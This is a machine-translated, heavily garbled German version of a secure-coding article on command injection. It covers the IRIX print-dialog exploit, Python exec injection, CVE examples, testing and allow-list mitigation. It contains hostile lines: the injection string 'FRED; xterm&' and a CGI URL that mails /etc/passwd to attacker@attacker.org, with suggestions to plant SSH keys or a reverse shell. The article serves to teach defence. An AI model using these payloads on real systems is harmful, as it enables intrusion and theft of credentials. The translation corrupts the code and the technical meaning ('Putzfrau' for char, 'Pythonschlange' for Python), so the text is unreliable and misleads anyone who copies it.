Befehl Einspritzung
1994 saß der Autor dieses Tutorial vor einem SGI Computer, der IRIX laufen läßt, das einfach den LOGON-Schirm zeigte. Es gab die Wahl, um etwas Unterlagen zu drucken und den Drucker zu spezifizieren, um zu verwenden. Der Autor stellte sich was die Implementierung sein konnte, spezifizierte eine Zeichenkette, daß didn’t sich wirklich auf einen Drucker beziehen, und ließ plötzlich ein Verwalterfenster auf einem Kasten das Autor nicht nur wasn vor’t, das Zugang zu haben sollte, aber auch wasn’t in sogar loggen. Das Problem war ein Befehl Einspritzungangriff, in dem Benutzer eingab, der bedeutet wurde, um Daten zu sein kann als Befehl irgendeiner Art wirklich teilweise gedeutet werden. Häufig kann dieser Befehl die Person mit Steuerung über dem Datenzugang zu weit mehr Zugang, als geben überhaupt beabsichtigt wurde. Betroffene SprachenBefehl Einspritzungprobleme sind eine Sorge, immer wenn Befehle und die Daten inline zusammen gesetzt werden. Während Sprachen einige der direktesten Befehl Einspritzungangriffe loswerden können, indem sie gute Anwendungsprogramm-Schnittstellen (APIs) zur Verfügung stellen die korrekte Eingang Gültigkeitserklärung durchführen, gibt es immer die Möglichkeit, daß neues APIs neue Arten der Befehl Einspritzungangriffe vorstellt. Die Sünde ErklärteBefehl Einspritzungprobleme treten auf, als Daten wird gesetzt in Daten untrusted, die zu irgendeiner Art des Kompilators oder des Interpretens übermittelt wird, in dem die Daten, wenn sie s’in einer bestimmten Weise formatierte, werden behandelt als etwas anders als Daten konnten. Das kanonische Beispiel für dieses Problem ist immer API Anrufe gewesen, die direkt den System Befehl Interpret ohne irgendeine Gültigkeitserklärung anrufen. Z.B. tat der alte IRIX LOGON-Schirm (vorher erwähnt) etwas entlang den Linien von: Putzfrau buf[1024 ]; snprintf(buf, "System lpr - P %s", user_input, sizeof(buf)-1); system(buf); In diesem Fall war der Benutzer unprivileged, da es absolut jedermann sein könnte, das durch eine Workstation wandering ist. Jedoch einfach durch das Schreiben des Textes: FRED; xterm&, ein Anschluß würde oben knallen, weil; würde den ursprünglichen Befehl im System Oberteil beenden; und der xterm Befehl würde ein vollständiges neues Terminalfenster herstellen, das zu den Befehlen, mit u. dem Erklären das System, den Prozeß laufen zu lassen bereit ist, ohne den gegenwärtigen Prozeß zu blockieren. (im Windows Oberteil, dient das Etzeichenmetazeichen dieselben als ein Semicolon auf einem UNIX Kasten.) Und, da der LOGON-Prozeß administrative Privilegien hatte, würde der Anschluß, den er verursachte, auch administrative Privilegien haben! Es gibt viel von Funktionen über vielen Sprachen, die gegen solche Angriffe empfindlilch sind, wie Sie’ll später sehen. Aber, ein Befehl Einspritzung-Angriff doesn’t erfordern eine Funktion, die zu einem System Oberteil benennt. Z.B. konnte ein Angreifer in der LageSEIN, einen Anruf zu einem Spracheninterpreten wirksam einzusetzen. Dieses ist in den höheren Programmiersprachen wie Perl und Pythonschlange recht populär. Z.B. betrachten Sie den folgenden Pythonschlangecode: def call_func(user_input, system_data): exec
' special_function_%s("%s") ' % (system_data, user_input
Im vorhergehenden Code fungiert das Pythonschlange% Operator ganz wie * printf Spezifikationselemente in C. Sie passen herauf Werte in den Klammern mit %s Werten in der Zeichenkette zusammen. Infolgedessen soll dieser Code eine Funktion nennen gewählt durch das System und führt es das Argument vom Benutzer. Z.B. wenn system_data Probe waren und user_input fred waren, würde Pythonschlange den Code laufen lassen: special_function_sample("fred")
Und, dieser Code würde in den gleichen Bereich laufen, daß die exec Aussage innen ist. Angreifer, die user_input steuern, können jeden möglichen Pythonschlangecode durchführen, den sie mit diesem Prozeß wünschen, einfach, indem sie einen Anführungsstrich addieren, gefolgt von rechten Klammern und von einem Semicolon. Z.B. konnte der Angreifer die Zeichenkette versuchen: fred"); Druck ("foo
Dieses veranläßt die Funktion, den folgenden Code laufen zu lassen: special_function_sample("fred"); Druck ("foo")
Dieses Wille nicht nur was der Programmierer beabsichtigte, aber werden auch foo drucken. Angreifer können alles buchstäblich hier tun, einschließlich löschen Sie Akten mit den Privilegien des Programms, oder sogar bilden Sie Network Connections. Wenn diese Flexibilität Angreifer zugänglich machen zu mehr Privilegien als gibt, hatten sie anders, dieses sind ein Sicherheit Problem. Viele dieser Probleme treten auf, wenn Steuerkonstruieren und -daten gegeneinander gehalten werden, und Angreifer können ein Sonderzeichen benutzen, um den Kontext zurück zu Steuerkonstruieren zu ändern. Im Kasten der Befehl Oberteile, gibt es zahlreiche magische Buchstaben, die dies tun können. Z.B. auf die meisten UNIX-wie Maschinen, wenn die Angreifer einen Semicolon (den addieren sollten eine Aussage beendet), backtick (Daten zwischen backticks erhalten als Code durchgeführt) oder ein senkrechter Strich (alles, nachdem der Stab als andere behandelt ist, in Verbindung stehender Prozeß), konnten sie willkürliche Befehle laufen lassen. Es gibt andere Sonderzeichen, die den Kontext von Daten zu Steuerung ändern können; diese sind das offensichtlichste gerecht. Eine allgemeine Technik für das Abschwächen von von Problemen mit laufenden Befehlen soll eine API verwenden, um den Befehl direkt zu benennen, ohne ein Oberteil durchzulaufen. Z.B. auf einem UNIX Kasten, dort’s die execv() Familie der Funktionen, die das Oberteil überspringt und das Programm direkt benennt, die Argumente als Zeichenketten gebend. Dieses ist eine gute Sache, aber es doesn’t löst immer das Problem, besonders weil das gelaichte Programm selbst Daten nahe bei wichtigem Steuerkonstruieren nach rechts setzen konnte. Z.B. execv() auf einem Pythonschlangeprogramm würde zu benennen, das dann die Argumentliste zu einem exec führt, schlecht sein. Wir sogar Fälle in denen Leute execv() d /bin/sh’(das Befehl Oberteil) gesehen haben, das total den Punkt vermißt. In Verbindung stehende SündenEinige der Sünden können als spezifische Arten der Befehl Einspritzungprobleme angesehen werden. Sql Einspritzung ist offenbar eine spezifische Art Befehl Einspritzungangriff. Formatzeichenketteprobleme können als Art Befehl Einspritzungproblem gesehen werden, auch. Dieses ist, weil der Angreifer einen Wert nimmt, den der Programmierer erwartete, Daten zu sein und dann Einsätze Befehle lesen und schreiben (zum Beispiel, ist das %n Spezifikationselement ein schreibenbefehl). Jene bestimmten Fälle sind so allgemein, daß wir’ve sie separat behandelten. Dieses ist auch das Kernproblem im scripting Kreuz-Aufstellungsort, wo Angreifer wählten Daten einmachen, die wie bestimmte Netzsteuerelemente aussieht, wenn diese Daten nicht richtig validiert werden. Beschmutzen des Sünde MustersSind hier die Elemente zum Muster:
Beschmutzen der Sünde während des Schreibtischtests für ein ProgrammEs gibt zahlreiche API Anrufe und Sprachenkonstruieren über einer breiten Vielzahl der unterschiedlichen Programmiersprachen, die gegen dieses Problem empfindlilch sind. Eine gute Annäherung an das Wiederholen des Codes für dieses Problem ist zu zuerst kennzeichnen jedes Konstruieren, das vielleicht benutzt werden könnte, um irgendeine Art Befehl Prozessor hervorzurufen (einschließlich Befehl Oberteile, eine Datenbank oder der Programmierspracheinterpret selbst). Dann Blick durch das Programm, zum zu sehen, wenn irgendwelche jenes Konstruierens wirklich benutzt werden. Wenn es sind, überprüfen Sie dann, um zu sehen, ob ein verwendbares defensives Maß genommen wird. Während defensive Masse sich verändern können gegründet auf der Sünde, sollte man von verweigern-Liste-gegründeten Annäherungen skeptisch normalerweise sein, und Bevorzugung Lassenliste nähert sich (sehen Sie den “Abzahlung-Schritt-” Abschnitt, der folgt). Sind hier einiges des populäreren ungefähr gesorgt zu werden Konstruierens,:
Prüfung Techniken, zum der Sünde zu findenZu im Allgemeinen ist die Sache zum zu tun, jeden Eingang zu nehmen, zu denken an welche Art des Befehl Oberteils sie vielleicht erhalten könnte weg überschritten, dann in, jedem Metazeichen für dieses Oberteil zu haften zu versuchen und sieht, wenn sie explodiert. Selbstverständlich möchten Sie Eingänge in einer Weise wählen, die, wenn das Metazeichen arbeitet, etwas meßbarer Wille wirklich geschehen. Z.B. wenn Sie prüfen möchten, um zu sehen, wenn Daten zu einem UNIX Oberteil übermittelt werden, addieren Sie einen Semicolon, und versuchen Sie dann, sich zu verschicken etwas. Aber, wenn die Daten gesetztes Innere ein veranschlagene Zeichenkette sind, konnten Sie einen Ende Anführungsstrich einsetzen müssen, um hinauszugehen. Um dieses zu bedecken, konnten Sie einen Testfall der einen Anführungsstrich, der einsetzt von einem Semicolon, gefolgt wird dann einen Befehl haben der etwas sich verschickt. Überprüfen Sie, ob er andere schlechte Sachen zerschmettert oder tut, sowie, wenn Sie E-mail erhalten; Ihr Testfall konnte nicht die genaue Angriff Reihenfolge durchführen, aber er konnte genug nah sein, daß er ruhig das Problem aufdecken kann. Während es eine Menge mögliche Verteidigung in der Praxis gibt gewannen Sie vermutlich’t Notwendigkeit, zu phantastisch zu erhalten. Sie können ein einfaches Programm normalerweise verursachen, das eine Anzahl von Permutationen der verschiedenen Metazeichen verursacht (Steuerzeichen, die spezielle Bedeutungen haben, wie;) und Befehle, schicken die zu den verschiedenen Eingängen und sehen wenn etwas ungefügige Resultate. Werkzeuge von den Firmen wie SPI Dynamik und Watchfire automatisieren diese Art der Prüfung auf Netz-gegründete Anwendungen. Beispiel-SündenDie folgenden Eintragungen auf der allgemeinen Verwundbarkeit- und Belichtungs(CVE) Web site (http://cve.mitre.org) sind Beispiele der Befehl Einspritzungangriffe. CAN-2001-1187Der CSVForm Perl allgemeine Einfahrt-Schnittstelle (cgi) Index fügt Aufzeichnungen einer Komma getrennten Datenbankdatei des Wertes (CSV) hinzu. OmniHTTPd 2.07 web serverschiffe mit einem Index benannte statsconfig.pl. Nachdem die Frage analysiert ist, erhält der Dateiname (geführt in den Akte Parameter) zum folgenden Code überschritten: Vormodify_CSV {if(open(CSV, $_[0])){ … }
Dort’s keine Eingang Gültigkeitserklärung erfolgt auf dem Dateinamen, irgendein. So können Sie den grausamen Trick des Hinzufügens eines Rohres dem Ende des Dateinamens verwenden. Eine Beispielgroßtat würde aus dem Besuchen des folgenden URL bestehen: http://www.example.com/cgi-bin/csvform.pl?file=mail%20attacker@attacker.org</etc/passwd| Auf einem UNIX System dieses Willense-mail die System Kennwortakte zu einem Angreifer. Merken Sie, daß die %20 ein URL-KODIERTER Raum ist. Die Decodierung erhält getan, bevor der cgi Index seine Daten überschritten erhält. Die Beispielgroßtat geben wir das isn’t, das alles ist, das, diese Tage interessierend, weil die UNIX Kennwortakte nur usernames gibt. Angreifer entscheiden vermutlich, etwas anstatt, dem sie loggen läßt in, wie zu tun schreiben einen allgemeinen Schlüssel zu ~/.ssh/authorized_keys. Oder, Angreifer können dieses zur Antriebskraft wirklich verwenden und jedes mögliches Programm laufen lassen, das sie wünschen, indem sie Bytes zu einer Akte schreiben. Da Perl offensichtlich bereits auf jeden möglichen Kasten angebracht wird, der dieses laufen läßt, würde eine offensichtliche Sache zum zu tun, einen einfachen Perl Index zu schreiben sein, um zurück zu dem Angreifer und auf Anschluß anzuschließen, geben dem Angreifer ein Befehl Oberteil. CAN-2002-0652Der IRIX Dateisystem-Montageservice läßt Remotedateisystemmontage über RPC Anrufen zu und wird im Allgemeinen durch Rückstellung angebracht. Er fällt aus, daß, herauf, bis die Wanze 2002 gefunden war, viele der Akte prüft, ob der Bediener bilden mußte als, einen Remoteantrag empfangend, wurden eingeführt, indem er popen() verwendete, um Befehle von der Befehl Linie laufen zu lassen. Die Informationen, die in diesem Anruf verwendet wurden, wurden direkt vom Remotebenutzer genommen, und ein gut-gesetzter Semicolon im RPC Parameter würde dem Angreifer erlauben, Oberteilbefehle als Wurzel auf dem Kasten laufen zu lassen. Abzahlung-SchritteDie offensichtliche Sache zum zu tun ist, einen Befehl Interpret jeder möglicher Art nie hervorzurufen. Aber, dieses isn’t immer praktisch, besonders wenn eine Datenbank verwendet wird. Ähnlich würde sie gerecht sein, ungefähr wie nützlich, zu sagen, daß, wenn Sie ein Befehl Oberteil benutzen müssen, t’Gebrauch alle externen Daten in ihm anziehen Sie. Dieser gerechte isn’t praktische Rat in den meisten Fällen. Die einzige lohnende Antwort soll Gültigkeitserklärung tun. Die Straße zur Abzahlung ist hier ziemlich direkt:
DatenprüfungAuf dem höchsten Niveau haben Sie zwei Wahlen. Sie können entweder alles validieren Sie’bezüglich des Gehens, zum externen Prozeß weg zu versenden, oder Sie können die Teile gerade validieren, denen von untrusted Quellen eingegeben werden. Irgendein man ist fein, so lang wie Sie’bezüglich vollständigen über es. Es’s normalerweise eine gute Idee, externe Daten zu validieren berichtigt, bevor Sie sie verwenden. Es gibt Paare der Gründe für dieses. Zuerst stellt es sicher, daß die Daten auf jedem Datenweg überprüft erhalten, der bis zu diesem Gebrauch führt. Zweitens sind die Semantik der Daten häufig bestes verstandenes Recht, bevor sie die Daten verwendet. Dieses erlaubt Ihnen, so genau zu sein, wie möglich mit Ihren Eingang Gültigkeitserklärungüberprüfungen. Es ist auch eine gute Verteidigung gegen die Möglichkeit der Daten, die in einer schlechten Weise nach der Überprüfung geändert werden. Schließlich jedoch ist eine Verteidigung-in-Tiefe Strategie hier am besten. Es’s auch gut, Daten zu überprüfen, da es hereinkommt, damit es keine Gefahr von ihr verwendend gibt, ohne anderwohin überprüft zu werden. Besonders wenn es Lose Plätze gibt, in denen die Daten mißbraucht werden können, konnte es einfach sein, eine Überprüfung in einige Plätze zu übersehen. Es gibt drei vorstehende Möglichkeiten, Datengültigkeit festzustellen:
Alle diese Annäherungen haben die Beeinträchtigung, der Sie wichtiges etwas vergessen konnten. Im Fall der Verweigernlisten und der Veranschlagung, konnte dieses schlechte Sicherheit Implikationen offensichtlich haben. Tatsächlich es’s unwahrscheinlich daß Sie’ll Ende oben mit sicherer Software mit einer Verweigernliste Annäherung wenn Sie’bezüglich des Übermittelns der Daten zu einigen Arten Systeme (wie Oberteile), weil die Liste der Buchstaben, die spezielle Bedeutung haben können, wirklich ziemlich langatmig ist. Für einige Systeme gerade über alles anders als Buchstaben und Stellen kann eine spezielle Bedeutung haben. Die Veranschlagung ist auch viel schwieriger, als man denken konnte. Z.B. wenn man Schreiben Code ist, der die Veranschlagung für einige Arten Befehl Prozessoren durchführt, haftet’sie s, das für Nehmen eine Zeichenkette allgemein ist, und sie in den Anführungsstrichen. Wenn Sie’bezüglich nicht vorsichtigen, Angreifer ihre eigenen Anführungsstriche gerade innen werfen können dort. Und, mit einigen Befehl Prozessoren, gibt es gleichmäßige Metazeichen, die Bedeutung innerhalb einer veranschlagenen Zeichenkette haben (dieses schließt UNIX Befehl Oberteile ein). Geben Ihnen eine Richtung von, wie schwierig sie sein kann, Versuch, jedes UNIX Oberteilmetazeichen auf Ihren Selbst zu notieren. Schließen Sie alles, das als Steuerung genommen werden kann, anstelle von den Daten mit ein. Ist Ihre Liste wie groß? Unsere Liste schließt jedes Stück Interpunktion ausgenommen @, _, +,: ein, und das Komma. Und wir’bezüglich nicht sicheren, daß jene Buchstaben allgemeinhin sicher sind. Bezüglich es Oberteile geben konnte denen’sie nicht. Sie können denken, daß Sie einige andere Buchstaben haben, die nie mit spezieller Bedeutung gedeutet werden können. Ein Minuszeichen? Das konnte als Signalisieren des Anfangs einer Befehl-Linie Wahl gedeutet werden wenn es’s beim Anfang eines Wortes. Wie über das Karat (^)? kannten Sie es tun Ersatz? Wie über die % Zeichen? Während es harmlos häufig sein konnte, als gedeutet als Metazeichen, es, ist ein Metazeichen unter einigen Umständen, weil es Jobsteuerung tut. Das tilde (~) ist dadurch ähnlich, daß es, in einigen Drehbüchern, zum Hauptverzeichnis eines Benutzers erweitert, wenn es’s beim Anfang eines Wortes, aber anders es nicht als ein Metazeichen gelten. Das könnte ein Informationen Durchsickern sein, oder schlechter, besonders wenn es ein Vektor für das Sehen eines Teils des Dateisystems ist, das dieses ist,IST das Programm’shouldn t in der Lage zu sehen. Z.B. konnten Sie Ihr Programm in /home/blah/application haften und mißbilligen dann doppelte Punkte in der Zeichenkette. Aber der Benutzer konnte in der LageSEIN, alles in /home/blah zugänglich zu machen, gerade indem er mit ~blah vorsetzte. Sogar Räume können Steuerzeichen sein, weil sie benutzt werden, um zwischen Argumenten oder Befehlen semantisch sich zu trennen. Es gibt viele Arten Räume mit diesem Verhalten, einschließlich Vorsprünge, neuen Linien, Wagenrückläufen, Formularvorschüben und vertikalen Vorsprüngen. Plus, kann Steuerzeichen wie CTRL-D und das Nullzeichen dort sein, die nicht wünschenswerte Effekte haben können. Alles in allem, es’s viel einfacher, eine Lassenliste zu benutzen. Wenn Sie’bezüglich des Gehens, eine Verweigernliste, Sie zu benutzen’d besser Sie bezüglich des Umfassens aller’Ihrer Unterseiten unglaublich sicher sind. Aber, Lassenlisten alleine können möglicherweise nicht genug sein. Ausbildung ist definitiv, weil notwendig, selbst wenn Sie’bezüglich des Verwendens einer Lassenliste, Sie Räume oder tildes erlauben konnten, ohne zu verwirklichen, was in Ihrem Programm von einer Sicherheit Perspektive geschehen konnte. Eine andere Ausgabe mit Lassenlisten ist, daß Sie unglückliche Benutzer haben konnten, weil Eingänge, die erlaubt werden sollten, t’aren. Z.B. konnten Sie nicht gewähren a “+” in einer E-mail Adresse, aber finden Leute, die zu unterscheiden wie sie verwenden, um wem sie’bezüglich des Gebens ihrer E-mail Adresse zu. Noch ist die Lassenliste Annäherung zu den anderen zwei Annäherungen stark vorzuziehend. Betrachten Sie den Fall, in dem Sie einen Wert vom Benutzer nehmen, der Sie’ll Festlichkeit als Dateiname. Lassen Sie’s Sagen, das Sie Gültigkeitserklärung als solche tun (dieses Beispiel ist in der Pythonschlange): für Putzfrau im Dateinamen: wenn (nicht Putzfrau in string.ascii_letters und nicht Putzfrau in string.digits und Putzfrau < > '.'): Erhöhung "InputValidationError" Dieses gewährt Perioden, damit der Benutzer Akten mit Verlängerungen eintippen kann, aber vergißt über das Unterstreichen, das allgemein ist. Aber, mit einer Verweigernliste Annäherung, konnten Sie nicht gedacht haben mißbilligen den Schrägstrich, der schlecht sein würde; ein Angreifer konnte ihn plus die Punkte verwenden, um Akten auf das filesystem, über dem aktuellen Verzeichnis hinaus anderwohin zugänglich zu machen. Mit einer veranschlagenannäherung würden Sie ein viel komplizierteres Satzgliederung Programm schreiben gemußt haben. Es’s allgemein, zum der regelmäßigen Ausdrücke zu verwenden, um diese Art des Tests durchzuführen. Regelmäßige Ausdrücke sind einfach, falsch zu erhalten jedoch besonders wenn sie kompliziert werden. Wenn Sie zu Handgriff genistetem Konstruieren und zu so wünschen, vergessen Sie über ihn. Im Allgemeinen von einer Sicherheit Ansicht, es’s besser, zum sicher zu sein als traurig. Das Verwenden der regelmäßigen Ausdrücke kann zu einfache anstatt sichere Praxis führen, besonders als die exaktesten Überprüfungen die kompliziertere semantische Überprüfung als ein einfaches Mustergleiches erfordern würden. Wenn eine Überprüfung ausfälltEs gibt drei allgemeine Strategien zum Beschäftigen einen Ausfall. Sie’bezüglich des nicht gleichmäßigen gegenseitig Exklusiven. Es’s, das zu immer gut ist, tut mindestens die ersten zwei:
Wir ziehen’t empfehlen im Allgemeinen die dritte Wahl an. Können Sie einen Fehler nicht nur machen, aber auch, wenn Sie t’anziehen, machen Sie einen Fehler, aber der Endbenutzer, die Semantik kann unerwartet sein. Sie’s, das einfacher ist, einfach auszufallen und so sicher. Defensive ExtramasseWenn Sie geschehen, Perl zu benutzen, hat die Sprache den Service, zum Sie zu helfen, diese Art der Störung zu laufen gelassener Zeit zu ermitteln. Sie’s benannte Färbungmodus. Die Grundidee ist, daß Perl t’ließ Sie senden unsanitized Daten bis eine der schlechten Funktionen oben gewann. Aber, die Überprüfungen arbeiten nur im Färbungmodus, also erhalten Sie keinen Nutzen, wenn Sie t’laufen lassen es anziehen. Plus, können Sie versehentlich Unfärbung Daten, ohne wirklich alles validiert zu haben. Es gibt andere kleine Beschränkungen auch also es’s, das, gut ist nicht auf diese Einheit nur zu bauen. Nichtsdestoweniger es’s noch ein großes prüfenwerkzeug und normalerweise wert als eins Ihrer Verteidigung einschalten. Für die allgemeinen API Anrufe, die Befehl Prozessoren hervorrufen, konnten Sie Ihre eigene Verpackung API schreiben ihnen wünschen, die die filternde Lassenliste, und werfen eine Ausnahme, wenn der Eingang schlecht ist. Dieses shouldn’t ist die einzige Eingang Gültigkeitserklärung, die Sie, weil häufig sie’s besser, zum der ausführlicheren Vernunft durchzuführen auf Datenwerte überprüft. Aber, es’s eine gute erste Verteidigungslinie und es’s einfach zu erzwingen. Sie können entweder lassen die Verpackungen die schlechten “Funktionen” ersetzen, oder Sie können ein einfaches Suchwerkzeug im Code benutzen revidierend, um alle Fälle zu finden, die Sie vermißten und schnell den rechten Wiedereinbau bilden. Zusammenfassungen
dieses ist ein Artikel, der von Hendra Fang
hinzugefügt wird
Verzicht: Unsere Web site ist nicht zu der Information verantwortlich, die durch diesen Artikel enthalten wird. Dieser Artikel reflektiert keineswegs die Ansichten, die Meinungen, die Gedanken oder den Glauben des Artikelverzeichnisstabes. Übersetzung Nachricht: Der Artikel "Befehl Einspritzung" wurde mit einem automatisierten Übersetzungsdienst übersetzt. Wir entschuldigen herzlichst uns für alle mögliche Übersetzung Störungen, die auftraten. Danke für das Verstehen.
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| Online: 984 users browsing the articles directory |
|
|